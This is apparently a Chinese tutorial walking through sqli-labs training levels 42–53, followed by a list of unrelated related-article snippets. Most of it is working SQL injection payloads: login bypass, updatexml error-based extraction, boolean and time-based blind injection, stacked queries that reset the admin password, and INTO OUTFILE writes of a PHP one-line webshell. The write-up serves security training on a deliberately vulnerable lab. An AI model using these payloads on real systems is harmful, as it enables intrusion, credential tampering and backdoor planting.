以sqlilabs靶场为例,讲解SQL注入攻击原理【42-53关】
【Less-42】
使用 'or 1=1 -- aaa 密码,登陆成功。


找到注入点:密码输入框。
解题步骤:
# 获取数据库名
'and updatexml(1,concat(0x7e,(select database()),0x7e),1) -- aaa# 获取数据表名
'and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database() ),0x7e),1) -- aaa# 获取字段名
'and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' ),0x7e),1) -- aaa



获取到数据库、数据表、字段之后,可以根据SQL注入,尝试修改管理员密码。
';update security.users set password='1111' where username='admin' -- aaa

【Less-43】
与Less-42不同的点在于使用的闭合不同,')or 1=1-- aaa 密码,登陆成功。
解题过程和Less-42相似,具体如下:
解题步骤:
# 获取数据库名
') and updatexml(1,concat(0x7e,(select database()),0x7e),1) -- aaa# 获取数据表名
') and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database() ),0x7e),1) -- aaa# 获取字段名
') and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' ),0x7e),1) -- aaa#尝试修改admin密码
');update security.users set password='1234' where username='admin' -- aaa

【Less-44】
基本与Less-42解题过程一样,只是Less-44没有信息提示,使用SQL盲注根据是否成功登录判断信息。
# 获取数据库长度
'or length(database())=8 -- a# 一步一步获取数据库具体名字,第一个字母s,ascii值为115
'or ascii(substr(database(),1,1))=115-- aaa# 一步一步获取数据表名字,第一个字母为e,ascii值为101
'or ascii(substr((select table_name from information_schema.tables where table_schema=database()limit 0,1),1,1))=101 -- aaa# 一步一步获取数据表字段名字,,第一个字母为e,ascii值为105
'or ascii(substr((select column_name from information_schema.columns where table_name='emails' limit 0,1),1,1))=105 -- aaa#尝试修改admin密码
');update security.users set password='1234' where username='admin' -- aaa
【Less-45】
基本与Less-44解题过程基本一样,只是闭合使用的 ') ,SQL盲注根据是否成功登录判断信息。
# 获取数据库长度
'or length(database())=8 -- a# 一步一步获取数据库具体名字,第一个字母s,ascii值为115
'or ascii(substr(database(),1,1))=115-- aaa# 一步一步获取数据表名字,第一个字母为e,ascii值为101
'or ascii(substr((select table_name from information_schema.tables where table_schema=database()limit 0,1),1,1))=101 -- aaa# 一步一步获取数据表字段名字,,第一个字母为e,ascii值为105
'or ascii(substr((select column_name from information_schema.columns where table_name='emails' limit 0,1),1,1))=105 -- aaa#尝试修改admin密码
');update security.users set password='1234' where username='admin' -- aaa
【Less-46】

通过更换sort后面的数字,得到了不同顺序的结果,大致可以猜出用的order by 字段,此时可以and updatexml()方法实现SQL注入。
解题步骤:
# 获取数据库名
?sort=1 and updatexml(1,concat(0x7e,(select database()),0x7e),1)# 获取数据表名
?sort=1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database() ),0x7e),1) # 获取字段名
?sort=1 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' ),0x7e),1)
结果:

【Less-47】
基本和Less-46类似,只是多了一个单引号闭合,其他解题步骤基本一致。
# 获取数据库名
'and updatexml(1,concat(0x7e,(select database()),0x7e),1) -- aaa# 获取数据表名
'and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database() ),0x7e),1) -- aaa# 获取字段名
'and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' ),0x7e),1) -- aaa
【Less-48】
此题由于没有信息显示,使用时间盲注判断数据库长度,字符、数据表名、字段名。
解题步骤:
# 猜数据库名的长度
?sort=1 and if(length(database())>1,sleep(5),1)# 猜数据库名
?sort=1 and if(ascii(substr(database(),1,1))=115,sleep(5),1)# 猜数据表名
?sort=1 and if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101),sleep(5),1)# 猜数据字段名
?sort=1 and if((ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='emails' limit 0,1),1,1))=105),sleep(5),1)
结果为:
【Less-49】
与Less-48 类似,只是闭合类型不同,采用的是 单引号闭合,其他的和上一题一样。
解题步骤:
# 猜数据库名的长度
?sort=1' and if(length(database())>1,sleep(5),1) -- aaa# 猜数据库名
?sort=1' and if(ascii(substr(database(),1,1))=115,sleep(5),1) -- aaa# 猜数据表名
?sort=1' and if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101),sleep(5),1) -- aaa# 猜数据字段名
?sort=1' and if((ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='emails' limit 0,1),1,1))=105),sleep(5),1) -- aaa
【Less-50】
和Less-46一样,没有闭合,直接在后面注入,解题过程一模一样。
源码分析:

解题步骤:
# 获取数据库名
?sort=1 and updatexml(1,concat(0x7e,(select database()),0x7e),1)# 获取数据表名
?sort=1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database() ),0x7e),1) # 获取字段名
?sort=1 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' ),0x7e),1)
结果:

PS:此题源码中出现的mysqli_multi_query(执行一个或多个针对数据库的查询。多个查询用分号进行分隔。),容易出现堆叠注入。
尝试使用堆叠写码,一句话木马。
# 后面的跟的是文件保存目录?sort=1;select '<?php eval($_REQUEST[123]) ?>' into outfile 'C:\\phpStudy\\WWW\\sqli-labs-master\\Less-50\\abc.php'
结果:

【Less-51】
与Less-50类似,只是闭合不同,使用的是单引号。
解决方案:
# 获取数据库名
?sort=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1) -- aaa# 获取数据表名
?sort=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from -- aaa
information_schema.tables where table_schema=database() ),0x7e),1) # 获取字段名
?sort=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' ),0x7e),1) -- aaa
同样的,也可以实现SQL注入phpinfo();
# 后面的跟的是文件保存目录?sort=1';select '<?php eval($_REQUEST[123]) ?>' into outfile 'C:\\phpStudy\\WWW\\sqli-labs-master\\Less-50\\abc.php' -- aa

【Less-52】
尝试使用各种常见的闭合,总是不能正常显示,但是又没有错误提示,此时使用时间盲注解决。
and if(条件,满足结果,不满足结果)
# 猜数据库长度
and if(length(database())=8,sleep(5),1)# 猜数据库的组成字母
and if(ascii(substr(database(),1,1))=115,sleep(5),1)# 猜数据表的组成字母
and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,sleep(5),1)# 猜数据表的字段组成字母
and if(ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='emails' limit 0,1),1,1))=105,sleep(5),1)
【Less-53】
与Less-52不同的点在于闭合的方式不同,使用的是单引号闭合。
解题步骤:
# 猜数据库长度
?sort=1' and if(length(database())=8,sleep(5),1) -- aaa# 猜数据库的组成字母
?sort=1' and if(ascii(substr(database(),1,1))=115,sleep(5),1) -- aaa# 猜数据表的组成字母
?sort=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,sleep(5),1) -- aaa# 猜数据表的字段组成字母
?sort=1' and if(ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='emails' limit 0,1),1,1))=105,sleep(5),1)-- aaa
相关文章:
以sqlilabs靶场为例,讲解SQL注入攻击原理【42-53关】
【Less-42】 使用 or 11 -- aaa 密码,登陆成功。 找到注入点:密码输入框。 解题步骤: # 获取数据库名 and updatexml(1,concat(0x7e,(select database()),0x7e),1) -- aaa# 获取数据表名 and updatexml(1,concat(0x7e,(select group_conca…...
单片机数码管时钟电路的设计
5 调试 数码管的引脚1~4,a~g以及小数点的排列都不是连续的,这就意味着难免需要飞线。数码管是分共阴和共阳的,起初我错把原理图中的共阳数码管当成了共阴数码管,焊上去了之后才发现,为了避免拆卸…...
win10文件夹.git或者文件被隐藏的开启姿势
按需排查,有的文件隐藏是好事 基本操作更多操作某些系统设置的隐藏操作在idea或者pycharm项目中显示.git文件夹 基本操作 文件夹-> 查看 -> 隐藏的项目点亮 更多操作 文件夹 -> 查看 -> 选项 -> 查看 -> 高级设置 -> 文件和文件夹 -> 隐…...
Paper速读-[Visual Prompt Multi-Modal Tracking]-Dlut.edu-CVPR2023
文章目录 简介关于具体的思路问题描述算法细节 实验结果模型的潜力模型结果 论文链接:Visual Prompt Multi-Modal Tracking 开源代码:Official implementation of ViPT 简介 这篇文章说了个什么事情呢,来咱们先看简单的介绍图 简单来说&am…...
memory动态内存管理学习之unique_ptr
此头文件是动态内存管理库的一部分。std::unique_ptr 是一种智能指针,它通过指针持有并管理另一对象,并在 unique_ptr 离开作用域时释放该对象。在发生下列两者之一时,用关联的删除器释放对象: 管理它的 unique_ptr 对象被销毁。…...
1、项目介绍:为什么要做此项目。
项目介绍:为什么要做此项目。 全栈开发博客实战项目:前后端开发流程以及项目部署 随着互联网的蓬勃发展,全栈开发成为了越来越受欢迎的趋势。前端开发和后端开发之间的紧密合作和协同工作已经成为了现代软件开发中的重要组成部分。然而&…...
2024年6月7日第十五周下午学习英语六级大纲
下午学习英语六级大纲的内容可以归纳为以下几个主要方面: 一、考试概述 六级考试的对象:修完大学英语相应阶段课程的在校大学生。考试目的:参照《大学英语教学指南》设定的教学目标,对我国大学生英语综合运用能力进行科学测量&a…...
每日5题Day19 - LeetCode 91 - 95
每一步向前都是向自己的梦想更近一步,坚持不懈,勇往直前! 第一题:91. 解码方法 - 力扣(LeetCode) class Solution {public int numDecodings(String s) {int n s.length();//注意我们dp的范围是n1int[] d…...
wordpress里面嵌入哔哩哔哩视频的方法
我们正常如果从blibli获取视频分享链接然后在wordpress里面视频URL插入,发现是播放不了的 而视频嵌入代码直接粘贴呢窗口又非常的小 非常的难受,就需要更改一下代码。你可以在在allowfullscreen"true"的后面,留1个空格ÿ…...
Linux系统管理磁盘管理004
本章主要讲述详细lvm扩容。 操作系统: CentOS Stream 9 扩容目标: jianglv扩容到600MB 扩容前 [rootlocalhost ~]# lvdisplay lgb--- Logical volume ---LV Path /dev/lgb/nginx_lvmLV Name nginx_lvmVG Name …...
Flink窗口理论到实践
Flink窗口理论到实践可以分为以下几个关键部分进行阐述: 一、理论概述 窗口概念: Flink窗口是将无限流数据流切分为有限的、连续的数据块进行处理的一种机制。这有助于更高效、更方便地处理无界数据流。窗口分类: 时间窗口:基于固定时间段内收集数据,并在结束时生成结果。…...
279 基于matlab的粒子群集法对铁路电能质量控制系统的容量避行优化设计
基于matlab的粒子群集法对铁路电能质量控制系统的容量避行优化设计。计算出满足功率因素、电压不平衡度等电能指标的条件下。RPC所需要的补偿功率。求得所需最小的系统客量。该设计能快速计算出符合系统设定指标的各项最优补偿功率。并通过sumulink份真。检验设计参数的准确性。…...
46-3 护网溯源 - 溯源报告编写
格式 1. 基本情况︰钓鱼邮件情况介绍 在这部分,需要详细描述钓鱼邮件的基本情况,包括收到的邮件内容、寄件人信息、邮件附件或链接等。还需说明收到邮件的时间和频率。2. 行为分析 详细阐述攻击者的行为模式和攻击方式,包括攻击手段、使用的恶意工具或技术,以及可能的入侵…...
微服务之基本介绍
一、微服务架构介绍 1、微服务架构演变过程 单体应用架构->垂直应用架构一>分布式架构一>SOA架构-->微服务架构 ① 单体应用架构 互联网早期, 一般的网站应用流量较小,只需一个应用,将所有功能代码都部署在一起就可以&#x…...
嘉立创面板制作不规则图案技巧
首先附上效果图展示: 所需软件:嘉立创EDA(专业版)、photoshop、Adobe Illustrator 嘉立创EDA(专业版): 嘉立创面板绘制很容易上手,只要了解这几个图层的作用便可以做出自己想要的面板。 材料边界层: 代表选⽤的材料…...
如何使用Python中的collections模块提供的数据结构,如deque、Counter、OrderedDict等
Python 的 collections 模块提供了一些额外的数据结构,这些数据结构在内置的数据类型(如列表、字典、集合等)的基础上,增加了额外的功能或优化了性能。下面是如何使用 collections 模块中的 deque、Counter 和 OrderedDict 这三种…...
2024年道路安全员考试题库
2024年道路安全员考试题库 16.根据《中华人民共和国道路运输条例》,关于从事客运经营使用的车辆的规定,下列说法错误的是( )。 A.客运经营者应当使用符合国家规定标准的车辆从事道路运输经营 B.客运经营者应当加强对车辆的维护和检测,确保车辆符合国家规定的技术标准 C.…...
自建 Docker 镜像
本文地址:blog.lucien.ink/archives/547 本文主要参考自:自建Docker 镜像/源加速的方法 1. 简介 最近 Docker Hub 被禁一事引起了不小的波动,在这里简单讲下在这之后应该如何访问公开的 Docker Hub。 2. Cloudflare 2.1 搭建 搭建的前提是…...
php实现抖音小程序支付
开发者发起下单_小程序_抖音开放平台 第一步、抖音小程序发起支付 tt.pay_小程序_抖音开放平台 前端提交订单数据到后端接口,然后使用 tt.pay发起支付 请求参数 属性 类型 必填 说明 order_id string 是 担保交易服务端订单号 order_token string 是 …...
代码审计(1):CVE-2022-4957分析及复现
0x00漏洞描述: ѕрееdtеѕt iѕ а vеrу liɡhtԝеiɡht nеtԝоrk ѕрееd tеѕtinɡ tооl imрlеmеntеd in Jаvаѕсriрt. Thеrе iѕ а Crоѕѕ-ѕitе Sсriрtinɡ vulnеrаbilitу in librеѕроndеd ѕрееdtеѕt…...
从零开始学习C++ -- 基础知识
C入门基础1.C的第一个程序2.命名空间2.1 namespace的价值2.2 namespace的定义2.3命名空间使用3.C输入&输出4.缺省参数5.函数重载6.引用6.1引用的概念和定义6.2引用的特性6.3引用的使用6.4const引用6.5指针和引用的关系7.inline8.nullptr1.C的第一个程序 #include <iost…...
EPLAN默认工具栏隐藏功能大揭秘:从复制格式到表格式编辑的实战技巧
EPLAN默认工具栏隐藏功能大揭秘:从复制格式到表格式编辑的实战技巧 在电气设计领域,EPLAN作为行业标杆软件,其默认工具栏中隐藏着许多未被充分发掘的效率利器。这些功能往往被常规操作所掩盖,却能在复杂项目设计中节省大量时间。…...
为什么流水线ADC能用Dither,而SAR ADC效果差?深入解析两种架构下的Dither技术差异与改进方案
流水线ADC与SAR ADC中Dither技术的差异化设计与工程实践 在高速高精度数据采集系统中,量化噪声的非线性特性始终是困扰设计者的核心难题。当我们用频谱分析仪观察一个理想正弦波经过ADC转换后的输出时,那些突兀的谐波分量往往源自量化过程的非线性失真。…...
BURSTER 9235 (85437090) 应变片信号放大器
BURSTER 9235 (85437090) 应变片信号放大器品牌:BURSTER(德国波司特,精密测量技术专家)型号:9235内部订货号:85437090类型:直连式(In-Line)应变片传感器信号放大器一、核…...
从GitHub开源项目到一键部署:OFA模型在星图平台的快速落地
从GitHub开源项目到一键部署:OFA模型在星图平台的快速落地 1. 引言 你是不是也遇到过这种情况?在GitHub上看到一个特别酷的AI项目,比如OFA这种能看图说话、理解多模态信息的模型,心里痒痒的想立刻上手试试。结果呢,光…...
从反射率到耐候性:5个关键参数教你像专业人士一样测试LED封装胶水
从反射率到耐候性:5个关键参数教你像专业人士一样测试LED封装胶水 在LED制造领域,封装胶水就像光学系统的"隐形工程师",它不仅要牢固固定芯片和荧光粉,更承担着光线管理的关键任务。一款优质的高反射率封装胶水…...
OpenClaw内存优化:Qwen3-32B-Chat在16G设备运行方案
OpenClaw内存优化:Qwen3-32B-Chat在16G设备运行方案 1. 为什么需要内存优化? 去年冬天,当我第一次尝试在16GB内存的MacBook Pro上运行Qwen3-32B-Chat模型时,系统几乎立即崩溃。这让我意识到,想要在资源有限的设备上运…...
路径规划算法技术选型与实战指南:从理论到工程落地
路径规划算法技术选型与实战指南:从理论到工程落地 【免费下载链接】PathPlanning Common used path planning algorithms with animations. 项目地址: https://gitcode.com/gh_mirrors/pa/PathPlanning 当仓库机器人在密集货架间灵活避障,当无人…...
42-西门子1200伺服控制5轴程序 程序采用1200系列PLC,项目实现以下功能: (1)
42-西门子1200伺服控制5轴程序 程序采用1200系列PLC,项目实现以下功能: (1).三轴机械手联动取放料PTO脉冲定位控制台达B2伺服 (2).台达伺服速度模式应用扭矩模式应用实现收放卷 (3).…...
OpenClaw大模型API怎么选?Kimi与DeepSeek实测指南
最适配 OpenClaw 的大模型 API 是哪个?四款模型实测对比与选型指南(2026年3月) OpenClaw 内置 ReAct Agent 架构,通过工具调用(Tool Use)驱动 Shell 执行、文件操作、浏览器控制、截图等自动化任务。模型的…...
